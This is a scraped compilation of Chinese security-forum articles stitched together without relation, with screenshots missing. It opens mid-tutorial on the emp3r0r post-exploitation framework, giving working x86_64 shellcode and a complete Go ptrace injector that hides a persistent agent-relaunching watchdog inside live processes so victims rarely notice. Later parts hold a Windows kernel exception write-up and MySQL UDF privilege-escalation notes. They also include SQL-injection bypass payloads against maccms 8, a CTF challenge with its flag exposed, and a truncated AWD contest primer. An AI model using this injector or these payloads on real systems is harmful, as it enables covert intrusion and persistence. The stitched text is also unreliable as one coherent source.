\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x7f\x5e\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x74\x2c\x48\x31\xff\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\xb0\x23\x6a\x0a\x6a\x14\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe2\xc4\x48\x31\xd2\x52\x48\x31\xc0\x48\xbf\x2f\x2f\x74\x6d\x70\x2f\x2f\x65\x57\x54\x5f\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x99\x0f\x05\xcd\x03
如果你不需要这种C style的hex string，也可以这样：
❯ rax2 -S < shellcode.bin
4831c04831ffb0390f054883f8007f5e4831c04831ffb0390f054883f800742c4831ff4889c74831f64831d24d31d24831c0b03d0f054831c0b0236a0a6a144889e74831f64831d20f05e2c44831d2524831c048bf2f2f746d702f2f6557545f4889e752574889e66a3b58990f05cd03
其中`rax2`是[`radare2`](https://github.com/radareorg/radare2)的一部分。
### syscall
**syscall NR**
[什么是syscall](https://en.wikipedia.org/wiki/System_call)。
为啥叫 _NR_ ？[我查到的](https://stackoverflow.com/questions/8306202/what-does-nr-stand-for-in-system-call-number-that-is-usually-used-as-suffix)是 _Numeric
Reference_ ，听起来有点道理。
简单来说就是代表某个Linux API的数字了，你调用这个syscall的时候需要告诉Linux对应的编号。
[这里](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)有一个全面的Linux
syscall列表供查阅。
需要注意的是不同架构下，syscall是不同的。我们这里只关心x86_64下的syscall，毕竟主流Linux主机几乎全都是这个架构（说到这里我要吐槽一下，为什么至今Linux
shellcode相关教程还在拿x86汇编教学？）。
**调用约定**
调用一个syscall的过程跟你调用别的什么函数没区别，你设置好参数，call一下就完事了，它还会把返回值给你。
那么用户怎么知道往哪放参数，从哪取返回值呢？离开了编译器的帮助，你得搞清楚它究竟是怎么工作的。
上图很清楚地展示了你该怎么使用这些syscall。
对于x86_64架构的Linux而言，syscall
NR也就是编号，需要放到RAX寄存器，调用完返回值也在这里面，然后参数依次放到RDI，RSI，RDX，R10…
需要留意，有的参数是指针类型的，你传入的必须是一个地址而不是数值本身。
### 写一个guardian
本示例是[emp3r0r](https://github.com/jm33-m0/emp3r0r)的一部分，之后更新的版本可以在[这里](https://github.com/jm33-m0/emp3r0r/blob/master/shellcode/guardian.asm)找到。
~~看完了上面的介绍，是不是觉得很简单呢？~~ 让我们来写个guardian程序试试吧。
这段shellcode就是前面所提到思路的具体实现。
我在写这段东西的时候，遇到了不少小问题，对于初学者来说可能是会头疼好久的问题，简单列一下：
* 需要指针参数的，先`push`入栈，再传`RSP`
* `push`的操作数超过4字节长，需要借助寄存器来push
* 记得给字符串或者字符串数组加`\0`终止
* label不能用保留字
以上问题均针对nasm汇编器，如果你没遇到，就不要告诉我了。
还有些东西说一下：
* 为什么还要`wait`子进程，因为不这样的话子进程退出之后就变成zombie，在进程列表里太显眼了。
* 为什么`fork`两次，因为我要`execve`，在当前进程干的话，当前进程就无了。
* 为什么`sleep`，因为太频繁了会把CPU搞飞起。
* 为什么`int 0x3`，因为这样是告诉父进程请调试我，是shellcode暂停，从而恢复原进程的关键
BITS 64
section .text
global _start
_start:
;; fork
xor rax, rax
xor rdi, rdi
mov al, 0x39; syscall fork
syscall
cmp rax, 0x0; check return value
jg pause; int3 if in parent
watchdog:
;; fork to exec agent
xor rax, rax
xor rdi, rdi
mov al, 0x39; syscall fork
syscall
cmp rax, 0x0; check return value
je exec; exec if in child
wait4zombie:
;; wait to clean up zombies
xor rdi, rdi
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
xor r10, r10
xor rax, rax
mov al, 0x3d
syscall
sleep:
;; sleep
xor rax, rax
mov al, 0x23; syscall nanosleep
push 10; sleep nano sec
push 20; sec
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
loop watchdog
exec:
;; char **envp
xor rdx, rdx
push rdx; '\0'
;; char *filename
xor rax, rax
mov rdi, 0x652f2f706d742f2f; path to the executable
push rdi; save to stack
push rsp
pop rdi
mov rdi, rsp; you can delete this as it does nothing
;; char **argv
push rdx; '\0'
push rdi
mov rsi, rsp; argv[0]
push 0x3b; syscall execve
pop rax; ready to call
cdq
syscall
pause:
;; trap
int 0x3
## 把shellcode武器化
### shellcode注入
就像开头所提到的，本文涉及的技术是[emp3r0r](https://github.com/jm33-m0/emp3r0r)后渗透框架的一部分。
[emp3r0r](https://github.com/jm33-m0/emp3r0r)会将本文的shellcode自动注入一些常见的进程：
在不影响原进程的情况下，我们同时在目标主机的业务进程里启动了一大堆守护进程，除非受害者拿gdb去看，一般来说是很难察觉异常的。
如果你有兴致，也完全可以写一个别的shellcode，实现更多好玩的功能。
所以我们怎么注入？按照前面ptrace的方法，具体实现如下（之后的更新在[这里](https://github.com/jm33-m0/emp3r0r/blob/master/core/internal/agent/injector.go)查看）：
// Injector inject shellcode to arbitrary running process
// target process will be restored after shellcode has done its job
func Injector(shellcode *string, pid int) error {
// format
*shellcode = strings.Replace(*shellcode, ",", "", -1)
*shellcode = strings.Replace(*shellcode, "0x", "", -1)
*shellcode = strings.Replace(*shellcode, "\\x", "", -1)
// decode hex shellcode string
sc, err := hex.DecodeString(*shellcode)
if err != nil {
return fmt.Errorf("Decode shellcode: %v", err)
}
// inject to an existing process or start a new one
// check /proc/sys/kernel/yama/ptrace_scope if you cant inject to existing processes
if pid == 0 {
// start a child process to inject shellcode into
sec := strconv.Itoa(RandInt(10, 30))
child := exec.Command("sleep", sec)
child.SysProcAttr = &syscall.SysProcAttr{Ptrace: true}
err = child.Start()
if err != nil {
return fmt.Errorf("Start `sleep %s`: %v", sec, err)
}
pid = child.Process.Pid
// attach
err = child.Wait() // TRAP the child
if err != nil {
log.Printf("child process wait: %v", err)
}
log.Printf("Injector (%d): attached to child process (%d)", os.Getpid(), pid)
} else {
// attach to an existing process
proc, err := os.FindProcess(pid)
if err != nil {
return fmt.Errorf("%d does not exist: %v", pid, err)
}
pid = proc.Pid
// https://github.com/golang/go/issues/43685
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err = syscall.PtraceAttach(pid)
if err != nil {
return fmt.Errorf("ptrace attach: %v", err)
}
_, err = proc.Wait()
if err != nil {
return fmt.Errorf("Wait %d: %v", pid, err)
}
log.Printf("Injector (%d): attached to %d", os.Getpid(), pid)
}
// read RIP
origRegs := &syscall.PtraceRegs{}
err = syscall.PtraceGetRegs(pid, origRegs)
if err != nil {
return fmt.Errorf("my pid is %d, reading regs from %d: %v", os.Getpid(), pid, err)
}
origRip := origRegs.Rip
log.Printf("Injector: got RIP (0x%x) of %d", origRip, pid)
// save current code for restoring later
origCode := make([]byte, len(sc))
n, err := syscall.PtracePeekText(pid, uintptr(origRip), origCode)
if err != nil {
return fmt.Errorf("PEEK: 0x%x", origRip)
}
log.Printf("Peeked %d bytes of original code: %x at RIP (0x%x)", n, origCode, origRip)
// write shellcode to .text section, where RIP is pointing at
data := sc
n, err = syscall.PtracePokeText(pid, uintptr(origRip), data)
if err != nil {
return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)
}
log.Printf("Injected %d bytes at RIP (0x%x)", n, origRip)
// peek: see if shellcode has got injected
peekWord := make([]byte, len(data))
n, err = syscall.PtracePeekText(pid, uintptr(origRip), peekWord)
if err != nil {
return fmt.Errorf("PEEK: 0x%x", origRip)
}
log.Printf("Peeked %d bytes of shellcode: %x at RIP (0x%x)", n, peekWord, origRip)
// continue and wait
err = syscall.PtraceCont(pid, 0)
if err != nil {
return fmt.Errorf("Continue: %v", err)
}
var ws syscall.WaitStatus
_, err = syscall.Wait4(pid, &ws, 0, nil)
if err != nil {
return fmt.Errorf("continue: wait4: %v", err)
}
// what happened to our child?
switch {
case ws.Continued():
return nil
case ws.CoreDump():
err = syscall.PtraceGetRegs(pid, origRegs)
if err != nil {
return fmt.Errorf("read regs from %d: %v", pid, err)
}
return fmt.Errorf("continue: core dumped: RIP at 0x%x", origRegs.Rip)
case ws.Exited():
return nil
case ws.Signaled():
err = syscall.PtraceGetRegs(pid, origRegs)
if err != nil {
return fmt.Errorf("read regs from %d: %v", pid, err)
}
return fmt.Errorf("continue: signaled (%s): RIP at 0x%x", ws.Signal(), origRegs.Rip)
case ws.Stopped():
stoppedRegs := &syscall.PtraceRegs{}
err = syscall.PtraceGetRegs(pid, stoppedRegs)
if err != nil {
return fmt.Errorf("read regs from %d: %v", pid, err)
}
log.Printf("Continue: stopped (%s): RIP at 0x%x", ws.StopSignal().String(), stoppedRegs.Rip)
// restore registers
err = syscall.PtraceSetRegs(pid, origRegs)
if err != nil {
return fmt.Errorf("Restoring process: set regs: %v", err)
}
// breakpoint hit, restore the process
n, err = syscall.PtracePokeText(pid, uintptr(origRip), origCode)
if err != nil {
return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)
}
log.Printf("Restored %d bytes at origRip (0x%x)", n, origRip)
// let it run
err = syscall.PtraceDetach(pid)
if err != nil {
return fmt.Errorf("Continue detach: %v", err)
}
log.Printf("%d will continue to run", pid)
return nil
default:
err = syscall.PtraceGetRegs(pid, origRegs)
if err != nil {
return fmt.Errorf("read regs from %d: %v", pid, err)
}
log.Printf("continue: RIP at 0x%x", origRegs.Rip)
}
return nil
}
这可能是为数不多的纯go实现的`ptrace`进程注入工具之一。
主要坑点有：
* Go的syscall wrapper基本上是从来没有文档的
* `ptrace`的tracer必须来自同一线程，这是Linux（或者说整个unix）设计的问题
* 因为Go底层设计的原因，每次调用syscall wrapper，都是一个新线程，所以我研究了半天，靠`runtime.LockOSThread()`解决了[这个问题](https://github.com/jm33-m0/emp3r0r/issues/13)
然后具体原理就很简单了，鉴于Go的syscall
wrapper实际上把`PTRACE_PEEKTEXT`和`PTRACE_POKETEXT`限制的每次只能操作一个word给包装成可操作任意长度数据，这个实现甚至比C原生实现还要简单。
关键点在于备份和恢复。记得我的shellcode写了`int 0x3`吧？这里就是`wait`到`int
0x3`导致的`trap`的状态，进行介入，并恢复原进程。
### 在持久化方面的应用
我目前把这个技术用在持久化方面。虽说不是真正意义上的持久化，但很多机器是万年不重启的，注入到一个几乎不会重启的进程里面，既不会被轻易发现，又很难被干掉。
以下是注入到一个[简单demo程序](https://github.com/jm33-m0/emp3r0r/blob/master/shellcode/sleep.c)的示例：
/*
* This program is used to check shellcode injection
* */
#include <stdio.h>
#include <time.h>
#include <unistd.h>
int main(int argc, char* argv[])
{
time_t rawtime;
struct tm* timeinfo;
while (1) {
sleep(1);
time(&rawtime);
timeinfo = localtime(&rawtime);
printf("%s: sleeping\n", asctime(timeinfo));
}
return 0;
}
shellcode成功注入，原进程继续运行，只是多了个守护[emp3r0r](https://github.com/jm33-m0/emp3r0r)的任务。 | 社区文章 |
# 从CPU到内核/到用户态全景分析异常分发机制——内核接管(番外篇)[2]
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
继前一篇《从CPU到内核/到用户态全景分析异常分发机制——硬件基础及Hook》讲完硬件部分的内容之后，现在来看看OS如何和CPU“相亲相爱”合谋完成这一伟大壮举的。别高兴太早，这才是软件层面着手开始处理的万里长城第一步。好在第一步还是迈出去了，本篇将详细分析OS如何接管，如何管理异常的。注意我们这里分析的是基于Win10
16299版本，IA64架构的CPU。
整个系列涉及到的知识：
0、内核栈与用户栈隔离机制；
1、权限切换时，栈顶位置提供方式【有点拗口。。。】
2、CPU异常与中断概念与区别；
3、Intel架构中的IDT表与ISR；
4、Windows内核中内核异常分发；
5、Windows内核中用户态异常分发；
6、在调试器里查看PIC中断和APIC中断；
7、KPCR,KPRCB,KTRAP_FRAME；
## 1、关于KTRAP_FRAME的故事——系统调用/异常/中断的CONTEXT备份者
其实上一篇《
从CPU到内核/到用户态全景分析异常分发机制——内核接管[1]》中，关于KTRAP_FRAME的讲解很少，本不打算牵扯关于它的前因后果，但不写的话，有些内容又确实写不透。这里花点篇幅讲一下关于它的故事。KTRAP_FRAME可以分解为三个部分来看:
KTRAP_FRAME=K+TRAP+FRAME
1、K：Kernel;内核的意思;
2、TRAP:陷阱的意思，为啥叫陷阱呢？其实换个译法是“自陷“，这个名字的由来与Intel
的CPU有关，老的CPU从Ring3进入Ring0的方式中有一种称之为“陷阱门”的方式，即int
xx,其中xx就是IDT表中的索引号，借助此，进入内核中。当然，IDT表中除了陷阱门之外还有中断门。其他门也可以存在，但CPU硬件解析的时候，回报告异常，因为存在并不意味着合法。
3、FRAME：帧，框架的意思，这个就是常规的调用帧的意思。在Ring3那，一个调用帧无非就是保存上写文的，这里也是一样，备份的是Ring3过来时，那边的CONTEXT。注意，不单单是Ring3进Ring0，也可以是Ring2进Ring0，只是Windows和Linux没有用罢了，但硬件却是有这个能力的。
耳听为许眼见为实，下边给大家简单看一下，一个常规的系统调用所涉及的底层逻辑：
关于这个SharedUserData我也想说两句，其实这个结构在整个系统中只有一份——Ring3和Ring0的两份虚拟地址映射到同一个物理页上，但映射的时候，内核页表项中是可读可写的，而用户态是只读的，里边记录了一些常规的数据，其结构如下，只罗列了部分字段，框框里的这几个是在RTC时钟中断触发时，更新的，大家可以去逆向分析下，挺简单。可能需要点CMOS中端口操作的知识。【题外话，五六年前，做全局监控项目的时候，就需要这么一块内存，在所有进程中都要有，而且都要映射到同一块物理内存，而这块内存余下的部分正好满足我这个需要，我要榨干它，哈哈】
好了回到第一张图。test指令就是用来判断0x308这个字段的值，该字段的含义如下：
即判断当前CPU是否支持快速系统调用。支持的话直接走syscall完成系统调用，不支持的话就走老式的int
2e这种方式进内核。0x308处的这个值是在OS初始化时，通过CPUID指令获取到的。再继续拓展下，所谓的快速系统调用与常规的系统调用的区别在哪？
快速体现在什么地方？要理解这个问题，需要考虑这个问题：
int
2e进内核，CPU必然需要去寻址IDT表中的2e项，然后还要判断是不是合法的，DPL和CPL的规则是否满足，万一这个被置换到硬盘上去了，那是不是又要触发缺页异常，是不是又要涉及到异常的又一轮分发，再者OS又要读硬盘，此外，内核栈的栈顶指针有放在哪了。。。。。好多问题需要解决，这个过程及其漫长。而对于如此高频的内核调用来说，显然这是个可以被优化的点。SO，Intel就搞出来了个快速系统调用，当然AMD也不甘示弱，人间也搞了个Sysenter指令。Syscall配合上MSR寄存器，可谓牛逼哄哄。无人能敌。
eax中存放的时SSDT表的索引号，这个是很简单的东西，不是还有所谓的SSDT HOOK嘛，哈哈。弱智的玩意。到此打住。
前奏算是铺垫完了，下边正式进入内核中看看内核时如何配合ntdll!NtReadVirtualMemory来搞出这个nt!_KTRAP_FRAME的呢？接着看。大家可千万别以为Syscall进入内核直接就跑nt!NtReadVirtualMemory了，这是不可能的，理由很简单，CPU从来都不知道
nt!NtReadVirtualMemory的内核地址，那他又是如何执行的呢？那么意味着Syscall进入内核时执行的必然不是
nt!NtReadVirtualMemory了，那执行的是啥？好问题，问问CPU是怎么取得这个地址的吧，看下边操作：
先看下nt!KTRAP_FRAME的大小，如下：
被减去的0x158是上图中这个sub指令的操作，那还剩下0x38个大小的空间，哪里来补充呢？大家再仔细看看上图，sub
rsp,158之前有6个push和一个sub rsp,8；6*8+8=56=0x38;对上了；无误了。
原来是在nt!KiSystemCall64ShadowCommon这个哥们中把这个nt!KTRAP_FRAME给构造好了。
## 2、关于APC的故事
写着写着发现既然都讲到这了，顺便就多讲点吧。先把系统调用的再收个尾，来看下下图：
前边那两个je忽略掉即可，关键是jmp nt!KiSystemCall64ShadowCommon+0x218
(fffff802`30722245)这行指令，转过去看看都干了啥。
其他的我都不关心，我只关心nt!KiSystemServiceUser和最后一个jmp，如下图所示：
nt!KiSystemServiceUser这个函数有点历史的味道，int
2e进来就是调用的它nt!KiSystemServiceUser，扯远了。现在关心最后一个jmp，继续跟进去看看。现在就不在Windbg里看了，转到IDA，更清爽。
啥也不说了，所谓的用户态APC队列在这个地方就被处理了。所谓的异步过程调用的一个执行点就是系统调用结束的时候。
## 3、下篇再继续讲异常分发吧。
丢！ | 社区文章 |
最近在微信群中看到有人分享了新的关于UDF提权的文章，在文章开头处提到了MySQL
5.7，之后群中又分享了社区中的译文版本，既然在开头处看到了MySQL的最新版本5.7.21，那么我不得不继续往下看。
原文地址：<https://osandamalith.com/2018/02/11/mysql-udf-exploitation/>
译文版本：<https://xianzhi.aliyun.com/forum/topic/2167?accounttraceid=85dbd2c9-8021-4125-bf50-c7be4b510695>
看完整篇文章之后，我重新在高版本的MySQL上测试了一下许久不用的udf，想看看在什么情况下能提权成功，并且各个版本的MySQL在默认安装的情况下是什么样子的。环境将有三个分别是MySQL5.5.53，5.6.10，5.7.21
操作系统为win7
在高版本中有个参数至关重要，就是secure-file-priv，这个参数限制了MySQL的导出；该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。这个参数在各个版本中的表现如下：
MySQL5.5版本：my.ini中无此参数，查询该参数情况为NULL
MySQL5.6版本：my.ini中无此参数，查询该参数情况为空。
MySQL5.7版本：my.ini中有此参数，查询该参数情况为数据目录下的Upload文件夹。
该参数可以在my.ini中进行修改，“secure-file-priv=”
现在将最新版本5.7.21上的该参数修改为空，
尝试导出udf到插件目录，可以看到导出失败，当MySQL默认安装在C盘时，由于权限问题不能往该插件目录中写入。
安装MySQL5.6到D盘中，再次尝试导出udf到插件目录，这时能够成功的导出（这里与版本无关，只是上面放了5.7的图，这里放了5.6的图）
通过测试MySQL5.5、5.6、5.7版本，想要知道当前环境能不能成功导出udf文件（管理员没有额外修改过用户权限的情况），可通过两个查询达到，分别是
通过select @@basedir查看安装目录；（不在C盘）
通过show variables like ‘%secure%’;查看参数当前状态。（为空）
在这样的情况下将有大概率能使用udf提权成功。
关于之后的怎么使用我想大家都很清楚了，在这就不赘述了。 | 社区文章 |
本文由红日安全成员： **l1nk3r** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第13篇**
代码审计文章：
## Day 13 - Turkey Baster
代码如下：
这是一道典型的用户登录程序，从代码来看，考察的应该是通过 **SQL注入** 绕过登陆验证。代码 **第33行** ，通过 **POST** 方式传入
**user** 和 **passwd** 两个参数，通过 **isValid()** 来判断登陆是否合法。我们跟进一下 **isValid()**
这个函数，该函数主要功能代码在 **第12行-第22行** ，我们看到 **13行** 和 **14行** 调用 **sanitizeInput()**
针对 **user** 和 **password** 进行相关处理。
跟进一下 **sanitizeInput()** ，主要功能代码在 **第24行-第29行** ，这里针对输入的数据调用 **addslashes**
函数进行处理，然后再针对处理后的内容进行长度的判断，如果长度大于20，就只截取前20个字符。 **addslashes** 函数定义如下：
> [addslashes](http://php.net/manual/zh/function.addslashes.php) — 使用反斜线引用字符串
>
>
> string addslashes ( string $str )
>
>
> 作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ **NULL** 字符）字符之前加上反斜线。
我们来看个例子：
那这题已经过滤了单引号，正常情况下是没有注入了，那为什么还能导致注入了，原因实际上出在了 **substr** 函数，我们先看这个函数的定义：
> [substr](http://php.net/manual/zh/function.substr.php) — 返回字符串的子串
>
>
> string substr ( string $string , int $start [, int $length ] )
>
>
> 作用：返回字符串 `string` 由 `start` 和 `length` 参数指定的子字符串。
我们来看个例子：
那么再回到这里，我们知道反斜杠可以取消特殊字符的用法，而注入想要通过单引号闭合，在这道题里势必会引入反斜杠。所以我们能否在反斜杠与单引号之间截断掉，只留一个反斜杠呢？答案是可以，我们看个以下这个例子。
在这个例子中，我们直接使用题目代码中的过滤代码，并且成功在反斜杠和单引号之间截断了，那我们把这个payload带入到题目代码中，拼接一下
**第17行-第19行** 代码中的sql语句。
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'
这里的sql语句由于反斜杠的原因， **user = '1234567890123456789\'** 最后这个单引号便失去了它的作用。这里我们让
**pass=or 1=1#** ，那么最后的sql语句如下：
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
这时候在此SQL语句中， **user** 值为 **1234567890123456789\' AND password =**
，因此我们可以保证带入数据库执行的结果为 **True** ，然后就能够顺利地通过验证。
所以这题最后的 **payload** 如下所示：
user=1234567890123456789'&passwd=or 1=1#
## 实例分析
这里的实例分析，我们选择 **苹果CMS视频分享程序 8.0** 进行相关漏洞分析。漏洞的位置是在 **inc\common\template.php**
，我们先看看相关代码：
这里代码的 **第三行-第四行** 位置， **$lp['wd']** 变量位置存在字符串拼接，很明显存在 **sql注入**
，但是这个cms具有一些通用的注入防护，所以我们从头开始一步步的看。
首先在 **inc\module\vod.php** 文件中的，我们看到 **第一行** 代码当 **$method=search** 成立的时候，进入了
**第3行** 中的 **be("all", "wd")** 获取请求中 **wd** 参数的值，并且使用 **chkSql()** 函数针对 **wd**
参数的值进行处理。部分关键代码如下所示：
跟进一下 **be()** 函数，其位置在 **inc\common\function.php** 文件中，关键代码如下：
这部分代码的作用就是对 **GET，POST，REQUEST** 接收到的参数进行 **addslashes** 的转义处理。根据前面针对
**be("all", "wd")** 的分析，我们知道 **wd** 参数的值是通过 **REQUEST** 方式接收，并使用
**addslashes** 函数进行转义处理。再回到 **inc\module\vod.php** 文件中的，我们跟进一下 **chkSql()**
函数，该函数位置在 **inc\common\360_safe3.php** 文件中，具体代码如下：
分析一下这部分代码的作用，其实就是在 **第8行-第12行** 针对接收到的的变量进行循环的 **urldecode** （也就是url解码）动作，然后在
**第15行** ，使用 **StopAttack** 函数解码后的数据进行处理，最后将处理后的数据通过 **htmlEncode**
方法进行最后的处理，然后返回处理之后的值。
我们先跟进一下 **StopAttack** 函数，该函数位置在 **inc\common\360_safe3.php**
文件中，我们截取部分相关代码如下：
我们看到代码的 **第13行-第19行** 调用正则进行处理，而相关的正则表达式是 **$ArrFiltReq** 变量。这里 **第13行** 的
**$ArrFiltReq** 变量就是前面传入的 **$getfilter** ，即语句变成：
preg_match("/".$getfilter."/is",1)
我们跟进一下 **$getfilter** 变量。该变量在 **inc\common\360_safe3.php** 文件中，我们截取部分相关代码如下：
这串代码的功能显而易见，就是检测 **GET，POST，COOKIE** 中的恶意数据。刚刚在 **chkSql()** 函数最后有串代码是：
**return htmlEncode($s);** ，我们跟进一下 **htmlEncode** 函数。该函数位置在
**inc\common\function.php** 文件中，相关代码如下：
这段代码的功能是针对 **&** 、 **'** 、 **空格** 、 **"** 、 **TAB** 、 **回车** 、 **换行** 、
**大于小于号** 等符号进行实体编码转换。但是这里百密一疏，没有针对其他的空白字符和反斜杠进行处理。这里先埋下一个伏笔，我们继续往下看。
首先注入点是在 **inc\common\template.php** ，相关代码如下：
我们继续看看这个 **$lp['wd']** 的值是怎么获取的，在 **inc\common\template.php** 文件中找到其相关代码：
上图 **第13行** ，当 **P['wd']** 不为空的时候， **$lp['wd']** 是从 **P["wd"]**
中获取到数据的。根据前面我们的分析，在 **inc\module\vod.php** 文件中的存在这样一行代码： **$tpl- >P["wd"] =
\$wd;**
而 **wd** 是可以从 **REQUEST** 中获取到，所以这里的 **wd** 实际上是可控的。
## 漏洞验证
现在我们需要针对漏洞进行验证工作，这就涉及到POC的构造。在前面分析中，我们知道 **htmlEncode** 针对 **&** 、 **'** 、
**空格** 、 **"** 、 **TAB** 、 **回车** 、 **换行** 、 **大于小于号**
进行实体编码转换。但是这里的注入类型是字符型注入，需要引入单引号来进行闭合，但是 **htmlEncode**
函数又对单引号进行了处理。因此我们可以换个思路。
我们看到注入攻击的时候，我们的 **$lp['wd']** 参数可以控制SQL语句中的两个位置，因此这里我们可以通过引入 **反斜杠**
进行单引号的闭合，但是针对前面的分析我们知道其调用了 **addslashes** 函数进行转义处理，而 **addslashes** 会对 **反斜杠**
进行处理，但是这里对用户请求的参数又会先进行 **url解码** 的操作，因此这里可以使用 **双url编码** 绕过 **addslashes** 函数。
POST /maccms8/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Connection: keep-alive
Upgrade-Insecure-Requests: 1
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
payload传到程序里，经过拼接后的数据库语句如下所示：
## 漏洞修复
这里的防御手段其实已经很多了，但就是因为这么多防御手段结合在一起出现了有趣的绕过方式。
function htmlEncode($str)
{
if (!isN($str)){
$str = str_replace(chr(38), "&",$str);
$str = str_replace(">", ">",$str);
$str = str_replace("<", "<",$str);
$str = str_replace(chr(39), "'",$str);
$str = str_replace(chr(32), " ",$str);
$str = str_replace(chr(34), """,$str);
$str = str_replace(chr(9), " ",$str);
$str = str_replace(chr(13), "<br />",$str);
$str = str_replace(chr(10), "<br />",$str);
$str = str_replace(chr(92), "<br />",$str); //新增修复代码
}
return $str;
}
反斜杠的ascii码是92，这里新增一行代码处理反斜杠。
## 结语
看完了上述分析，不知道大家是否对 **htmlentities** 函数在使用过程中可能产生的问题，有了更加深入的理解，文中用到的代码可以从
[这里](https://www.lanzous.com/i1qm24f)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。 **Day13**
的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
//index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '（', '）'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
//db.inc.php
<?php
$mysql_server_name="localhost";
$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="root"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
//ctf.sql
# Host: localhost (Version: 5.5.53)
# Date: 2018-08-18 21:42:20
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "users"
#
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
#
# Data for table "users"
#
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
## 参考文章
[PHP的两个特性导致waf绕过注入](https://blog.csdn.net/u011721501/article/details/51824576)
[request导致的安全性问题分析](https://blog.spoock.com/2018/05/05/request-vuln-analysis/) | 社区文章 |
最近打了2场CTF线下赛，把AWD模式中的一些小套路做一些总结，本人web狗，二进制部分就不班门弄斧了。
#### 一、 **AWD模式简介**
AWD：Attack With
Defence，比赛中每个队伍维护多台服务器，服务器中存在多个漏洞，利用漏洞攻击其他队伍可以进行得分，修复漏洞可以避免被其他队伍攻击失分。
1. 一般分配Web服务器，服务器（多数为Linux）某处存在flag（一般在根目录下）；
2. 可能会提供一台流量分析虚拟机，可以下载流量文件进行数据分析；
3. flag在主办方的设定下每隔一定时间刷新一轮；
4. 各队一般都有自己的初始分数；
5. flag一旦被其他队伍拿走，该队扣除一定积分；
6. 扣除的积分由获取flag的队伍均分；
7. 主办方会对每个队伍的服务进行check，服务宕机扣除本轮flag分数，扣除的分值由服务check正常的队伍均分；
8. 一般每个队伍会给一个低权限用户，非root权限；
#### 二、 **网络环境**
网络拓扑如下图所示：
比赛中获取flag一般有两种模式：
(1)flag在根目录下，读取flag内容，提交即可得分
